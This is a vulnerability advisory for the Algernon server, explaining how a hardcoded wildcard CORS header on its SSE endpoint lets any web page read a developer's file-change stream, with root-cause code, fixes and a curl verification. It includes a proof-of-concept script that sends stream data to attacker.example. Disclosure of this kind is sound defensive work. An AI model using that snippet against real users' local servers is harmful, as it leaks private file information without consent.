Algernon EUVD-2026-31870

Summary

The SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required - any tab the developer opens has script-level read access to the stream.

This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.

Details

Root cause - hard-coded "*" passed as the CORS allowed-origin

// engine/config.go  (1.17.6, MustServe)
recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)

The literal "*" is the second positional argument. The vendored recwatch implementation reflects it verbatim into the response header:

// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)
func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {
    return func(w http.ResponseWriter, _ *http.Request) {
        w.Header().Set("Content-Type", "text/event-stream;charset=utf-8")
        w.Header().Set("Cache-Control", "no-cache")
        w.Header().Set("Connection", "keep-alive")
        w.Header().Set("Access-Control-Allow-Origin", allowed)
        ...
    }
}

There is no decision based on the request's Origin header, and no allow-list mechanism - every caller is told their origin is approved.

Why the wildcard is exploitable

EventSource opens a GET request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin - that is the role of Access-Control-Allow-Origin. When the server returns *, the browser permits the cross-origin script to read every message event.

So a developer running algernon -a on their workstation, with the SSE listener at http://127.0.0.1:5553/sse (Windows) or http://0.0.0.0:5553/sse (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:

<!doctype html>
<script>
  const s = new EventSource('http://127.0.0.1:5553/sse');
  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));
</script>

The exploit is cookie-less and CORS-clean - no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which UI:R in the CVSS vector reflects.

PoC (against 1.17.6)

# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553
# 2. Attacker lures the developer to https://news.example:
#    The page contains the snippet above.
# 3. EventSource opens, browser sends the request; algernon responds with
#    Access-Control-Allow-Origin: *, browser passes message events to the
#    cross-origin script; script ships filenames to attacker.example.

CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the Access-Control-Allow-Origin: * value in the response, not the body.

Impact

• Confidentiality: medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.
• Integrity: none.
• Availability: none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).

Suggestions to fix

Primary fix - echo a same-origin allow-list instead of *.

// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents
origin := r.Header.Get("Origin")
if !isAllowedOrigin(origin) {
    http.Error(w, "forbidden", http.StatusForbidden)
    return
}
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Vary", "Origin")

The allowed parameter must change from "*" to an explicit allow-list (or a single canonical server origin) - for example, sseScheme + "://" + ac.serverAddr. With the server's own scheme+host+port in Allow-Origin, a cross-origin request from evil.example is rejected by the browser because the response advertises a different origin.

Defence in depth - drop the legacy dedicated-port code path. Mounting the SSE handler on the main mux instead lets the response omit Access-Control-Allow-Origin entirely (same-origin only by default). The dedicated --eventserver-style path is the only place Access-Control-Allow-Origin is set in the codebase; removing the dedicated path simplifies the surface.

Live verification

$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site
$ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt &
    sleep 1
    echo "trigger" >> poc2/site/probe.txt
    wait )
$ cat sse.txt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Connection: keep-alive
Content-Type: text/event-stream;charset=utf-8
...
id: 0
data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt

The Origin: http://evil.example request header was echoed back as Access-Control-Allow-Origin: * (the wildcard - browsers treat this as "any origin may read"). A cross-origin tab at any URL can run new EventSource("http://<algernon>:5553/sse") and read the stream.